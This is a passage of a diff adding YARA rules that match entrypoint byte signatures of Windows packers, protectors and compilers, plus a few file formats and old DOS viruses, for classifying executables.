+		description = "Themida/WinLicense V1.8.X-V1.9.X&nbsp; -> Oreans Technologies&nbsp; &nbsp;* Sign.By.fly"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D ?? ?? ?? ?? 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D ?? ?? ?? ?? EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 05 89 48 01 61 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0 DLL"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C}
+		$1 = {55 8D 6C ?? ?? 81 EC ?? ?? ?? ?? 8B 45 ?? 83 F8 01 56 0F 84 ?? ?? ?? ?? 85 C0 0F 84}
+		$2 = {83 7C 24 08 01 75 09 8B 44 24 04 A3 ?? ?? 00 10 E8 8B FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Pelles_C_280_290_EXE_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 2.80 -2.90 EXE (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 ?? E8 ?? ?? ?? ?? 59 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _XJ__XPAL__LiNSoN_
+{
+	meta:
+		description = "XJ / XPAL -> LiNSoN"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 44 53 56 57 66 9C}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V11__cyberbob_
+{
+	meta:
+		description = "PESpin V1.1 -> cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E}
+	condition:
+		$0 at entrypoint
+}
+rule _CRYPToCRACks_PE_Protector_V093__Lukas_Fleischer__Sign_by_fly_
+{
+	meta:
+		description = "CRYPToCRACk's PE Protector V0.9.3 -> Lukas Fleischer ! Sign by fly"
+	strings:
+		$0 = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_71_
+{
+	meta:
+		description = "Microsoft Visual C++ 7.1"
+	strings:
+		$0 = {55 8B EC 83 EC 08 53 56 57 55 FC 8B 5D 0C 8B 45 08 F7 40 04 06 00 00 00 0F 85 AB 00 00 00 89 45 F8 8B 45 10 89 45 FC 8D 45 F8 89 43 FC 8B 73 0C 8B 7B 08 53 E8 ?? ?? ?? ?? 83 C4 04 0B C0 74 7B 83 FE FF 74 7D 8D 0C 76 8B 44 8F 04 0B C0 74 59 56 55}
+		$1 = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 39 75 0C 0F 84 ?? ?? ?? ?? 33 C0 40 5E 5D C2 0C 00}
+		$2 = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3}
+		$3 = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? 59 59 33 C0 40 5E 5D C2 0C 00}
+		$4 = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 75 44 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8}
+		$5 = {8B FF 55 8B EC 56 33 F6 39 75 0C 75 0E 39 35 ?? ?? ?? ?? 7E 2D FF 0D ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 75 3D 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 75 04 33 C0 EB 67 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68}
+	condition:
+		$0 or $1 or $2 or $3 or $4 or $5
+}
+rule _Thinstall_Virtualization_Suite_V3049V3080__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite V3.049-V3.080 -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 2C 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v03__Cyberbob_h_
+{
+	meta:
+		description = "PESpin v0.3 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroJoiner_15__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.5 -> coban2k"
+	strings:
+		$0 = {BF 05 10 40 00 83 EC 30 8B EC E8 C8 FF FF FF E8 C3 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE32_11_
+{
+	meta:
+		description = "PKLITE32 1.1"
+	strings:
+		$0 = {50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_80_Debug_
+{
+	meta:
+		description = "Microsoft Visual C++ 8.0 [Debug"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+		$1 = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _624_Six_to_Four_v10_
+{
+	meta:
+		description = "624 (Six to Four) v1.0"
+	strings:
+		$0 = {50 55 4C 50 83 ?? ?? FC BF ?? ?? BE ?? ?? B5 ?? 57 F3 A5 C3 33 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_MSVCpp_60_DLL__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake MSVC++ 6.0 DLL) -> emadicius (h)"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 5F 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_SK_
+{
+	meta:
+		description = "Vx: SK"
+	strings:
+		$0 = {CD 20 B8 03 00 CD 10 51 E8 00 00 5E 83 EE 09}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_120_Basic_Edition_aPLib__Ap0x_
+{
+	meta:
+		description = "RLPack 1.20 Basic Edition [aPLib] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 92 05 00 00 EB 0C 8B 85 8E 05 00 00 89 85 92 05 00 00 8D B5 BA 05 00 00 8D 9D 41 04 00 00 33 FF E8 38 01 00 00 EB 1B 8B 85 92 05 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 9E 05 00 00 00 74 0E 83 BD A2 05 00 00 00 74 05 E8 D6 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ID_Application_Protector_V12__ID_Security_Suite__Sign_by_fly_
+{
+	meta:
+		description = "ID Application Protector V1.2 -> ID Security Suite ! Sign by fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F2 0B 47 00 B9 19 22 47 00 81 E9 EA 0E 47 00 89 EA 81 C2 EA 0E 47 00 8D 3A 89 FE 31 C0 E9 D3 02 00 00 CC CC CC CC E9 CA 02 00 00 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 6F 66 74 57 61 72 65 50 72 6F 74 65 63 74 6F 72 5C}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v10_
+{
+	meta:
+		description = "FSG v1.0"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v30xx_
+{
+	meta:
+		description = "Crunch/PE v3.0.x.x"
+	strings:
+		$0 = {EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Virogens_PE_Shrinker_v014_
+{
+	meta:
+		description = "Virogen`s PE Shrinker v0.14"
+	strings:
+		$0 = {9C 55 E8 ?? ?? ?? ?? 87 D5 5D 60 87 D5 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 57 56 AD 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _CorelDraw_CMX_Graphics_format_
+{
+	meta:
+		description = "CorelDraw CMX Graphics format"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 43 4D 58 31}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_ACProtect_109_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ACProtect 1.09]"
+	strings:
+		$0 = {60 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 04 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v4x_
+{
+	meta:
+		description = "Microsoft Visual C++ v4.x"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Eddie2100_
+{
+	meta:
+		description = "Vx: Eddie.2100"
+	strings:
+		$0 = {E8 ?? ?? 4F 4F 0E E8 ?? ?? 47 47 1E FF ?? ?? CB E8 ?? ?? 84 C0 ?? ?? 50 53 56 57 1E 06 B4 51 CD 21 8E C3 ?? ?? ?? ?? ?? ?? ?? 8B F2 B4 2F CD 21 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v01x__v02x__Dwing_
+{
+	meta:
+		description = "Upack v0.1x - v0.2x -> Dwing"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 95}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_ExeSmasher__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ExeSmasher] -> Anorganix"
+	strings:
+		$0 = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_290_EXE_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 2.90 EXE (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 83 EC ?? 53 56 57 89 65 E8 68 00 00 00 02 E8 ?? ?? ?? ?? 59 A3}
+	condition:
+		$0
+}
+rule _MPEG_movie_file_
+{
+	meta:
+		description = "MPEG movie file"
+	strings:
+		$0 = {00 00 01 BA 2F FF FD E6 C1 80 18 61 00 00 01 BB}
+	condition:
+		$0
+}
+rule _HACKSTOP_v110_v111_
+{
+	meta:
+		description = "HACKSTOP v1.10, v1.11"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 2F CD 21 B0 ?? B4 4C CD 21 50 B8 ?? ?? 58 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _DevCpp_v5_
+{
+	meta:
+		description = "Dev-C++ v5"
+	strings:
+		$0 = {55 89 E5 83 EC 14 6A ?? FF 15 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0
+}
+rule _NTkrnl_Secure_Suite_V01_DLL__NTkrnl_Software__Sign_by_fly_
+{
+	meta:
+		description = "NTkrnl Secure Suite V0.1 DLL -> NTkrnl Software ! Sign by fly"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 8B 44 24 04 05 ?? ?? ?? ?? 50 E8 01 00 00 00 C3 C3}
+	condition:
+		$0
+}
+rule _XPack_167_
+{
+	meta:
+		description = "XPack 1.67"
+	strings:
+		$0 = {B8 8C D3 15 33 75 81 3E E8 0F 00 9A E8 F9 FF 9A 9C EB 01 9A 59 80 CD 01 51 9D EB}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_v32x_Dll_WinMain_
+{
+	meta:
+		description = "MinGW v3.2.x (Dll_WinMain)"
+	strings:
+		$0 = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 00 00 EB EB 8D B4 26 00 00 00 00 85 C0 75 D0 E8 47 00 00 00 EB C9 90 8D 74 26 00 C7 04 24 80 00 00 00 E8 A4 05 00 00 A3 00 30 00 10 85 C0 74 1A C7 00 00 00 00 00 A3 10 30 00 10 E8 1B 02 00 00 E8 A6 01 00 00 E9 75 FF FF FF E8 6C 05 00 00 C7 00 0C 00 00 00 31 C0 EB 98 89 F6 55 89 E5 83 EC 08 89 5D FC 8B 15 00 30 00 10 85 D2 74 29 8B 1D 10 30 00 10 83 EB 04 39 D3 72 0D 8B 03 85 C0 75 2A 83 EB 04 39 D3 73 F3 89 14 24 E8 1B 05 00 00 31 C0 A3 00 30 00 10 C7 04 24 00 00 00 00 E8 F8 04 00 00 8B 5D FC 89 EC 5D C3}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V10X__bagie__Sign_by_fly_
+{
+	meta:
+		description = "SimplePack V1.0X -> bagie ! Sign by fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA 6A 00 FF 93 ?? ?? 00 00 89 C5 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 8B 86 88 00 00 00 09 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _PESPin_v13__Cyberbob_h_
+{
+	meta:
+		description = "PESPin v1.3 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 0D 4F 40 00 8B 42 3C 03 C2 89 85 17 4F 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D 2B 4F 40 00 53 8F 85 21 4D 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD D0 4F 40 00 8D 5B 04 8B 1B 89 9D D5 4F 40 00 E8 00 00 00 00 58 01 68 05 68 F7 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V119_aPlib_043__ap0x__Sign_by_fly_
+{
+	meta:
+		description = "RLPack V1.19 (aPlib 0.43) -> ap0x ! Sign by fly"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3}
+	condition:
+		$0 at entrypoint
+}
+rule _LameCrypt__LaZaRus_
+{
+	meta:
+		description = "LameCrypt -> LaZaRus"
+	strings:
+		$0 = {60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8 ?? ?? 40 00 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _CreateInstall_v200335_
+{
+	meta:
+		description = "CreateInstall v2003.3.5"
+	strings:
+		$0 = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40 00 50 FF 15 E0 80 40 00 8B 0D 00 50 40 00 E8 68 FF FF FF B9 40 0D 03 00 89 44 24 14 E8 5A FF FF FF 68 00 02 00 00 8B 2D D0 80 40 00 89 44 24 1C 8D 44 24 20 50 53 FF D5 8D 4C 24 1C 53 68 00 00 00 80 8B 3D CC 80 40 00 6A 03 53 6A 03 68 00 00 00 80 51 FF D7 8B F0 53 8D 44 24 14 8B 0D 00 50 40 00 8B 54 24 18 50 51 52 56 FF 15 C8 80 40 00 85 C0 0F 84 40 02 00 00 8B 15 00 50 40 00 3B 54 24 10 0F 85 30 02 00 00 6A FF A1 04 50 40 00 2B D0 8B 4C 24 18 03 C8 E8 9F FE FF FF 3B 05 10 50 40 00 0F 85 10 02 00 00 56 FF}
+	condition:
+		$0
+}
+rule _APatch_GUI_v11_
+{
+	meta:
+		description = "APatch GUI v1.1"
+	strings:
+		$0 = {52 31 C0 E8 FF FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi_20_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi 2.0)"
+	strings:
+		$0 = {EB 01 56 E8 02 00 00 00 B2 D9 59 68 80 ?? 41 00 E8 02 00 00 00 65 32 59 5E EB 02 CD 20 BB}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V11__vcasm_
+{
+	meta:
+		description = "VProtector V1.1 -> vcasm"
+	strings:
+		$0 = {B8 1A ED 41 00 B9 EC EB 41 00 50 51 E8 74 00 00 00 E8 51 6A 00 00 58 83 E8 10 B9 B3 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v22__wwwun4seencompetite_
+{
+	meta:
+		description = "PEtite v2.2 -> www.un4seen.com/petite"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v111c_
+{
+	meta:
+		description = "HACKSTOP v1.11c"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D ?? ?? 73 ?? B4 ?? CD 21 B0 ?? B4 4C CD 21 53 BB ?? ?? 5B EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Involuntary1349_
+{
+	meta:
+		description = "Vx: Involuntary.1349"
+	strings:
+		$0 = {BA ?? ?? B9 ?? ?? 8C DD ?? 8C C8 ?? 8E D8 8E C0 33 F6 8B FE FC ?? ?? AD ?? 33 C2 AB}
+	condition:
+		$0 at entrypoint
+}
+rule _AINEXE_v21_
+{
+	meta:
+		description = "AINEXE v2.1"
+	strings:
+		$0 = {A1 ?? ?? 2D ?? ?? 8E D0 BC ?? ?? 8C D8 36 A3 ?? ?? 05 ?? ?? 36 A3 ?? ?? 2E A1 ?? ?? 8A D4 B1 04 D2 EA FE C9}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v03_
+{
+	meta:
+		description = "Krypton v0.3"
+	strings:
+		$0 = {8B 0C 24 E9 C0 8D 01 ?? C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _CryptoLock_v202_Eng__Ryan_Thian_
+{
+	meta:
+		description = "Crypto-Lock v2.02 (Eng) -> Ryan Thian"
+	strings:
+		$0 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47}
+		$1 = {60 BE 15 90 40 00 8D BE EB 7F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07}
+		$2 = {60 BE ?? 90 40 00 8D BE ?? ?? FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 55 00 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 01 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _CRYPT_Version_17_c_Dismember_COM_
+{
+	meta:
+		description = "CRYPT Version 1.7 (c) Dismember (COM)"
+	strings:
+		$0 = {0E 17 9C 58 F6 C4 01 ?? ?? ?? ?? ?? B4 01 BE ?? ?? BF ?? ?? B9 ?? ?? 68 ?? ?? 68 ?? ?? 68 ?? ?? 57 F3 A4 C3 B0 02 E6 21 60}
+	condition:
+		$0 at entrypoint
+}
